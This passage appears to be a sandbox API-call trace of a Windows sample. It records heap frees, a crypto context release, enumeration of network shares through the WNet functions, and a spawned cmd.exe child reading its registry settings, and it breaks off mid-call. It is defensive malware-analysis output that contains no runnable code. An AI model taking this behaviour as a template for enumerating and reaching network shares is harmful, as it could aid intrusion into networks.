[0110.964] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e620 | out: hHeap=0xa40000) returned 1 [0110.964] GetProcessHeap () returned 0xa40000 [0110.964] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e650 | out: hHeap=0xa40000) returned 1 [0110.964] GetProcessHeap () returned 0xa40000 [0110.964] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e640 | out: hHeap=0xa40000) returned 1 [0110.964] GetProcessHeap () returned 0xa40000 [0110.964] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e670 | out: hHeap=0xa40000) returned 1 [0110.964] GetProcessHeap () returned 0xa40000 [0110.964] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e660 | out: hHeap=0xa40000) returned 1 [0110.964] GetProcessHeap () returned 0xa40000 [0110.964] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e690 | out: hHeap=0xa40000) returned 1 [0110.964] GetProcessHeap () returned 0xa40000 [0110.964] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e680 | out: hHeap=0xa40000) returned 1 [0110.964] GetProcessHeap () returned 0xa40000 [0110.965] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e6b0 | out: hHeap=0xa40000) returned 1 [0110.965] GetProcessHeap () returned 0xa40000 [0110.965] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e6a0 | out: hHeap=0xa40000) returned 1 [0110.965] GetProcessHeap () returned 0xa40000 [0110.965] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e6d0 | out: hHeap=0xa40000) returned 1 [0110.965] GetProcessHeap () returned 0xa40000 [0110.965] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e6c0 | out: hHeap=0xa40000) returned 1 [0110.965] GetProcessHeap () returned 0xa40000 [0110.965] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e6f0 | out: hHeap=0xa40000) returned 1 [0110.965] GetProcessHeap () returned 0xa40000 [0110.965] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e6e0 | out: hHeap=0xa40000) returned 1 [0110.965] GetProcessHeap () returned 0xa40000 [0110.965] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e710 | out: hHeap=0xa40000) returned 1 [0110.965] GetProcessHeap () returned 0xa40000 [0110.965] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e700 | out: hHeap=0xa40000) returned 1 [0110.965] GetProcessHeap () returned 0xa40000 [0110.965] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e730 | out: hHeap=0xa40000) returned 1 [0110.965] GetProcessHeap () returned 0xa40000 [0110.965] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e720 | out: hHeap=0xa40000) returned 1 [0110.965] GetProcessHeap () returned 0xa40000 [0110.965] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5dda0 | out: hHeap=0xa40000) returned 1 [0110.965] GetProcessHeap () returned 0xa40000 [0110.965] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e740 | out: hHeap=0xa40000) returned 1 [0110.965] GetProcessHeap () returned 0xa40000 [0110.965] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e760 | out: hHeap=0xa40000) returned 1 [0110.965] GetProcessHeap () returned 0xa40000 [0110.965] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e750 | out: hHeap=0xa40000) returned 1 [0110.966] GetProcessHeap () returned 0xa40000 [0110.966] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e780 | out: hHeap=0xa40000) returned 1 [0110.966] GetProcessHeap () returned 0xa40000 [0110.966] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e770 | out: hHeap=0xa40000) returned 1 [0110.966] GetProcessHeap () returned 0xa40000 [0110.966] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e7a0 | out: hHeap=0xa40000) returned 1 [0110.966] GetProcessHeap () returned 0xa40000 [0110.966] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e790 | out: hHeap=0xa40000) returned 1 [0110.966] GetProcessHeap () returned 0xa40000 [0110.966] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5ddb8 | out: hHeap=0xa40000) returned 1 [0110.966] GetProcessHeap () returned 0xa40000 [0110.966] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e7b0 | out: hHeap=0xa40000) returned 1 [0110.966] GetProcessHeap () returned 0xa40000 [0110.966] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e7d0 | out: hHeap=0xa40000) returned 1 [0110.966] GetProcessHeap () returned 0xa40000 [0110.966] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e7c0 | out: hHeap=0xa40000) returned 1 [0110.966] GetProcessHeap () returned 0xa40000 [0110.966] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e7f0 | out: hHeap=0xa40000) returned 1 [0110.966] GetProcessHeap () returned 0xa40000 [0110.966] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e7e0 | out: hHeap=0xa40000) returned 1 [0110.966] GetProcessHeap () returned 0xa40000 [0110.967] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5ea28 | out: hHeap=0xa40000) returned 1 [0110.967] GetProcessHeap () returned 0xa40000 [0110.967] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e800 | out: hHeap=0xa40000) returned 1 [0110.967] GetProcessHeap () returned 0xa40000 [0110.967] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5ea48 | out: hHeap=0xa40000) returned 1 [0110.967] GetProcessHeap () returned 0xa40000 [0110.967] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5ea38 | out: hHeap=0xa40000) returned 1 [0110.967] GetProcessHeap () returned 0xa40000 [0110.967] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5ea68 | out: hHeap=0xa40000) returned 1 [0110.967] GetProcessHeap () returned 0xa40000 [0110.967] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5ea58 | out: hHeap=0xa40000) returned 1 [0110.967] GetProcessHeap () returned 0xa40000 [0110.967] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5ea88 | out: hHeap=0xa40000) returned 1 [0110.967] GetProcessHeap () returned 0xa40000 [0110.967] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5ea78 | out: hHeap=0xa40000) returned 1 [0110.967] GetProcessHeap () returned 0xa40000 [0110.967] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5eaa8 | out: hHeap=0xa40000) returned 1 [0110.967] GetProcessHeap () returned 0xa40000 [0110.967] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5ea98 | out: hHeap=0xa40000) returned 1 [0110.967] GetProcessHeap () returned 0xa40000 [0110.967] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5ddd0 | out: hHeap=0xa40000) returned 1 [0110.967] GetProcessHeap () returned 0xa40000 [0110.967] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5eab8 | out: hHeap=0xa40000) returned 1 [0110.967] GetProcessHeap () returned 0xa40000 [0110.967] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5ead8 | out: hHeap=0xa40000) returned 1 [0110.967] GetProcessHeap () returned 0xa40000 [0110.967] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5eac8 | out: hHeap=0xa40000) returned 1 [0110.967] GetProcessHeap () returned 0xa40000 [0110.968] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e380 | out: hHeap=0xa40000) returned 1 [0110.968] GetProcessHeap () returned 0xa40000 [0110.968] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5eae8 | out: hHeap=0xa40000) returned 1 [0110.968] GetProcessHeap () returned 0xa40000 [0110.968] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5dde8 | out: hHeap=0xa40000) returned 1 [0110.968] GetProcessHeap () returned 0xa40000 [0110.968] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5eaf8 | out: hHeap=0xa40000) returned 1 [0110.968] GetProcessHeap () returned 0xa40000 [0110.968] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5de00 | out: hHeap=0xa40000) returned 1 [0110.968] GetProcessHeap () returned 0xa40000 [0110.968] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5eb08 | out: hHeap=0xa40000) returned 1 [0110.968] GetProcessHeap () returned 0xa40000 [0110.968] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5eb28 | out: hHeap=0xa40000) returned 1 [0110.968] GetProcessHeap () returned 0xa40000 [0110.968] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5eb18 | out: hHeap=0xa40000) returned 1 [0110.968] GetProcessHeap () returned 0xa40000 [0110.968] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5de18 | out: hHeap=0xa40000) returned 1 [0110.968] GetProcessHeap () returned 0xa40000 [0110.968] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5eb38 | out: hHeap=0xa40000) returned 1 [0110.968] GetProcessHeap () returned 0xa40000 [0110.968] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5de30 | out: hHeap=0xa40000) returned 1 [0110.968] GetProcessHeap () returned 0xa40000 [0110.968] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5eb48 | out: hHeap=0xa40000) returned 1 [0110.968] GetProcessHeap () returned 0xa40000 [0110.968] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e4b0 | out: hHeap=0xa40000) returned 1 [0110.968] GetProcessHeap () returned 0xa40000 [0110.968] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5de48 | out: hHeap=0xa40000) returned 1 [0110.968] GetProcessHeap () returned 0xa40000 [0110.968] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5eb68 | out: hHeap=0xa40000) returned 1 [0110.968] GetProcessHeap () returned 0xa40000 [0110.969] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5de60 | out: hHeap=0xa40000) returned 1 [0110.969] GetProcessHeap () returned 0xa40000 [0110.969] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5eb78 | out: hHeap=0xa40000) returned 1 [0110.969] GetProcessHeap () returned 0xa40000 [0110.969] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5ee28 | out: hHeap=0xa40000) returned 1 [0110.969] GetProcessHeap () returned 0xa40000 [0110.969] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5eb88 | out: hHeap=0xa40000) returned 1 [0110.969] GetProcessHeap () returned 0xa40000 [0110.969] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5ee48 | out: hHeap=0xa40000) returned 1 [0110.969] GetProcessHeap () returned 0xa40000 [0110.969] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5eb98 | out: hHeap=0xa40000) returned 1 [0110.969] GetProcessHeap () returned 0xa40000 [0110.969] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5ca90 | out: hHeap=0xa40000) returned 1 [0110.969] GetProcessHeap () returned 0xa40000 [0110.969] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5eba8 | out: hHeap=0xa40000) returned 1 [0110.969] GetProcessHeap () returned 0xa40000 [0110.969] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e3a0 | out: hHeap=0xa40000) returned 1 [0110.969] GetProcessHeap () returned 0xa40000 [0110.969] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5ebb8 | out: hHeap=0xa40000) returned 1 [0110.969] GetProcessHeap () returned 0xa40000 [0110.969] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5ebd8 | out: hHeap=0xa40000) returned 1 [0110.969] GetProcessHeap () returned 0xa40000 [0110.969] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5ebc8 | out: hHeap=0xa40000) returned 1 [0110.969] GetProcessHeap () returned 0xa40000 [0110.969] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5cae0 | out: hHeap=0xa40000) returned 1 [0110.969] GetProcessHeap () returned 0xa40000 [0110.969] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5ebe8 | out: hHeap=0xa40000) returned 1 [0110.969] GetProcessHeap () returned 0xa40000 [0110.969] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5ec08 | out: hHeap=0xa40000) returned 1 [0110.969] GetProcessHeap () returned 0xa40000 [0110.970] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5ebf8 | out: hHeap=0xa40000) returned 1 [0110.970] GetProcessHeap () returned 0xa40000 [0110.970] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5ec28 | out: hHeap=0xa40000) returned 1 [0110.970] GetProcessHeap () returned 0xa40000 [0110.970] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5ec18 | out: hHeap=0xa40000) returned 1 [0110.970] GetProcessHeap () returned 0xa40000 [0110.970] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5eb58 | out: hHeap=0xa40000) returned 1 [0110.970] GetProcessHeap () returned 0xa40000 [0110.970] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5e3d0 | out: hHeap=0xa40000) returned 1 [0110.970] GetProcessHeap () returned 0xa40000 [0110.970] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5ec48 | out: hHeap=0xa40000) returned 1 [0110.970] GetProcessHeap () returned 0xa40000 [0110.970] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa5d4f8 | out: hHeap=0xa40000) returned 1 [0110.970] CryptReleaseContext (hProv=0xa5c4b0, dwFlags=0x0) returned 1 [0110.970] GetProcessHeap () returned 0xa40000 [0110.970] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa58d30 | out: hHeap=0xa40000) returned 1 [0110.970] GetProcessHeap () returned 0xa40000 [0110.970] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa57e28 | out: hHeap=0xa40000) returned 1 [0110.970] ExitProcess (uExitCode=0x0) [0112.708] TerminateProcess (hProcess=0xffffffff, uExitCode=0x0) Thread: id = 17 os_tid = 0x8dc [0073.367] GetProcessHeap () returned 0xa40000 [0073.368] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x4000) returned 0xa60a28 [0073.368] WNetOpenEnumW (in: dwScope=0x1, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x21cff4c | out: lphEnum=0x21cff4c*=0xa65e80) returned 0x0 [0076.340] WNetEnumResourceW (in: hEnum=0xa65e80, lpcCount=0x21cff48, lpBuffer=0xa60a28, lpBufferSize=0x21cff50 | out: lpcCount=0x21cff48, lpBuffer=0xa60a28, lpBufferSize=0x21cff50) returned 0x103 [0076.341] WNetCloseEnum (hEnum=0xa65e80) returned 0x0 [0076.341] GetProcessHeap () returned 0xa40000 [0076.341] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa60a28 | out: hHeap=0xa40000) returned 1 [0076.341] GetProcessHeap () returned 0xa40000 [0076.341] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x4000) returned 0xa60a28 [0076.341] WNetOpenEnumW (in: dwScope=0x4, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x21cff4c | out: lphEnum=0x21cff4c*=0xa5f0c8) returned 0x0 [0076.341] WNetEnumResourceW (in: hEnum=0xa5f0c8, lpcCount=0x21cff48, lpBuffer=0xa60a28, lpBufferSize=0x21cff50 | out: lpcCount=0x21cff48, lpBuffer=0xa60a28, lpBufferSize=0x21cff50) returned 0x103 [0076.341] WNetCloseEnum (hEnum=0xa5f0c8) returned 0x0 [0076.341] GetProcessHeap () returned 0xa40000 [0076.341] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa60a28 | out: hHeap=0xa40000) returned 1 [0076.341] GetProcessHeap () returned 0xa40000 [0076.341] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x4000) returned 0xa60a28 [0076.341] WNetOpenEnumW (in: dwScope=0x5, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x21cff4c | out: lphEnum=0x21cff4c*=0xa65e80) returned 0x0 [0095.682] WNetEnumResourceW (in: hEnum=0xa65e80, lpcCount=0x21cff48, lpBuffer=0xa60a28, lpBufferSize=0x21cff50 | out: lpcCount=0x21cff48, lpBuffer=0xa60a28, lpBufferSize=0x21cff50) returned 0x0 [0095.683] WNetEnumResourceW (in: hEnum=0xa65e80, lpcCount=0x21cff48, lpBuffer=0xa60a28, lpBufferSize=0x21cff50 | out: lpcCount=0x21cff48, lpBuffer=0xa60a28, lpBufferSize=0x21cff50) returned 0x103 [0095.683] WNetCloseEnum (hEnum=0xa65e80) returned 0x0 [0095.683] GetProcessHeap () returned 0xa40000 [0095.683] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa60a28 | out: hHeap=0xa40000) returned 1 [0095.683] GetProcessHeap () returned 0xa40000 [0095.683] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x4000) returned 0xa60a28 [0095.683] WNetOpenEnumW (in: dwScope=0x3, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x21cff4c | out: lphEnum=0x21cff4c*=0xa5f0e8) returned 0x0 [0095.922] WNetEnumResourceW (in: hEnum=0xa5f0e8, lpcCount=0x21cff48, lpBuffer=0xa60a28, lpBufferSize=0x21cff50 | out: lpcCount=0x21cff48, lpBuffer=0xa60a28, lpBufferSize=0x21cff50) returned 0x103 [0095.922] WNetCloseEnum (hEnum=0xa5f0e8) returned 0x0 [0095.922] GetProcessHeap () returned 0xa40000 [0095.922] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa60a28 | out: hHeap=0xa40000) returned 1 [0095.922] GetProcessHeap () returned 0xa40000 [0095.922] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x4000) returned 0xa60a28 [0095.922] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x21cff4c | out: lphEnum=0x21cff4c*=0xa6d610) returned 0x0 [0095.922] WNetEnumResourceW (in: hEnum=0xa6d610, lpcCount=0x21cff48, lpBuffer=0xa60a28, lpBufferSize=0x21cff50 | out: lpcCount=0x21cff48, lpBuffer=0xa60a28, lpBufferSize=0x21cff50) returned 0x0 [0095.922] GetProcessHeap () returned 0xa40000 [0095.922] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x4000) returned 0xa6ee58 [0095.922] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0xa60a28, lphEnum=0x21cff14 | out: lphEnum=0x21cff14*=0xa5f0e8) returned 0x0 [0097.530] WNetEnumResourceW (in: hEnum=0xa5f0e8, lpcCount=0x21cff10, lpBuffer=0xa6ee58, lpBufferSize=0x21cff18 | out: lpcCount=0x21cff10, lpBuffer=0xa6ee58, lpBufferSize=0x21cff18) returned 0x103 [0097.530] WNetCloseEnum (hEnum=0xa5f0e8) returned 0x0 [0097.530] GetProcessHeap () returned 0xa40000 [0097.530] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa6ee58 | out: hHeap=0xa40000) returned 1 [0097.530] GetProcessHeap () returned 0xa40000 [0097.530] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x4000) returned 0xa6ee58 [0097.530] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0xa60a48, lphEnum=0x21cff14 | out: lphEnum=0x21cff14*=0x0) returned 0x4b8 [0110.952] GetProcessHeap () returned 0xa40000 [0110.952] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa6ee58 | out: hHeap=0xa40000) returned 1 [0110.952] GetProcessHeap () returned 0xa40000 [0110.952] RtlAllocateHeap (HeapHandle=0xa40000, Flags=0x0, Size=0x4000) returned 0xa6ee58 [0110.952] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0xa60a68, lphEnum=0x21cff14 | out: lphEnum=0x21cff14*=0x0) returned 0x4c6 [0110.953] GetProcessHeap () returned 0xa40000 [0110.954] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa6ee58 | out: hHeap=0xa40000) returned 1 [0110.954] WNetEnumResourceW (in: hEnum=0xa6d610, lpcCount=0x21cff48, lpBuffer=0xa60a28, lpBufferSize=0x21cff50 | out: lpcCount=0x21cff48, lpBuffer=0xa60a28, lpBufferSize=0x21cff50) returned 0x103 [0110.954] WNetCloseEnum (hEnum=0xa6d610) returned 0x0 [0110.954] GetProcessHeap () returned 0xa40000 [0110.954] HeapFree (in: hHeap=0xa40000, dwFlags=0x0, lpMem=0xa60a28 | out: hHeap=0xa40000) returned 1 Thread: id = 37 os_tid = 0xb18 Thread: id = 41 os_tid = 0xbc0 Thread: id = 167 os_tid = 0xac4 Process: id = "3" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x46afa000" os_pid = "0x7d0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xab8" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 4 os_tid = 0x774 [0071.000] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1afdf0 | out: lpSystemTimeAsFileTime=0x1afdf0*(dwLowDateTime=0x34e0a1f0, dwHighDateTime=0x1d62786)) [0071.000] GetCurrentProcessId () returned 0x7d0 [0071.000] GetCurrentThreadId () returned 0x774 [0071.000] GetTickCount () returned 0x1148537 [0071.000] QueryPerformanceCounter (in: lpPerformanceCount=0x1afdf8 | out: lpPerformanceCount=0x1afdf8*=19087372204) returned 1 [0071.002] GetModuleHandleW (lpModuleName=0x0) returned 0x49f60000 [0071.002] __set_app_type (_Type=0x1) [0071.002] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x49f87810) returned 0x0 [0071.003] __getmainargs (in: _Argc=0x49faa608, _Argv=0x49faa618, _Env=0x49faa610, _DoWildCard=0, _StartInfo=0x49f8e0f4 | out: _Argc=0x49faa608, _Argv=0x49faa618, _Env=0x49faa610) returned 0 [0071.003] GetCurrentThreadId () returned 0x774 [0071.003] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x774) returned 0x3c [0071.108] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77940000 [0071.108] GetProcAddress (hModule=0x77940000, lpProcName="SetThreadUILanguage") returned 0x77956d40 [0071.108] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0071.108] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0071.108] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x1afd88 | out: phkResult=0x1afd88*=0x0) returned 0x2 [0071.109] VirtualQuery (in: lpAddress=0x1afd70, lpBuffer=0x1afcf0, dwLength=0x30 | out: lpBuffer=0x1afcf0*(BaseAddress=0x1af000, AllocationBase=0xb0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0071.109] VirtualQuery (in: lpAddress=0xb0000, lpBuffer=0x1afcf0, dwLength=0x30 | out: lpBuffer=0x1afcf0*(BaseAddress=0xb0000, AllocationBase=0xb0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0071.109] VirtualQuery (in: lpAddress=0xb1000, lpBuffer=0x1afcf0, dwLength=0x30 | out: lpBuffer=0x1afcf0*(BaseAddress=0xb1000, AllocationBase=0xb0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0071.109] VirtualQuery (in: lpAddress=0xb4000, lpBuffer=0x1afcf0, dwLength=0x30 | out: lpBuffer=0x1afcf0*(BaseAddress=0xb4000, AllocationBase=0xb0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0071.109] VirtualQuery (in: lpAddress=0x1b0000, lpBuffer=0x1afcf0, dwLength=0x30 | out: lpBuffer=0x1afcf0*(BaseAddress=0x1b0000, AllocationBase=0x1b0000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x67000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0071.109] GetConsoleOutputCP () returned 0x1b5 [0071.109] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0071.109] SetConsoleCtrlHandler (HandlerRoutine=0x49f83184, Add=1) returned 1 [0071.110] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.110] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0071.110] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.110] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0071.110] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.110] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0071.110] GetEnvironmentStringsW () returned 0x258a60* [0071.111] GetProcessHeap () returned 0x240000 [0071.111] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xa7c) returned 0x2594f0 [0071.111] FreeEnvironmentStringsW (penv=0x258a60) returned 1 [0071.111] GetProcessHeap () returned 0x240000 [0071.111] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x2588e0 [0071.111] GetEnvironmentStringsW () returned 0x258a60* [0071.111] GetProcessHeap () returned 0x240000 [0071.111] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xa7c) returned 0x259f80 [0071.111] FreeEnvironmentStringsW (penv=0x258a60) returned 1 [0071.111] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1aec48 | out: phkResult=0x1aec48*=0x44) returned 0x0 [0071.111] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1aec40, lpData=0x1aec60, lpcbData=0x1aec44*=0x1000 | out: lpType=0x1aec40*=0x0, lpData=0x1aec60*=0x18, lpcbData=0x1aec44*=0x1000) returned 0x2 [0071.112] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1aec40, lpData=0x1aec60, lpcbData=0x1aec44*=0x1000 | out: lpType=0x1aec40*=0x4, lpData=0x1aec60*=0x1, lpcbData=0x1aec44*=0x4) returned 0x0 [0071.112] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1aec40, lpData=0x1aec60, lpcbData=0x1aec44*=0x1000 | out: lpType=0x1aec40*=0x0, lpData=0x1aec60*=0x1, lpcbData=0x1aec44*=0x1000) returned 0x2 [0071.112] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1aec40, lpData=0x1aec60, lpcbData=0x1aec44*=0x1000 | out: lpType=0x1aec40*=0x4, lpData=0x1aec60*=0x0, lpcbData=0x1aec44*=0x4) returned 0x0 [0071.112] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", 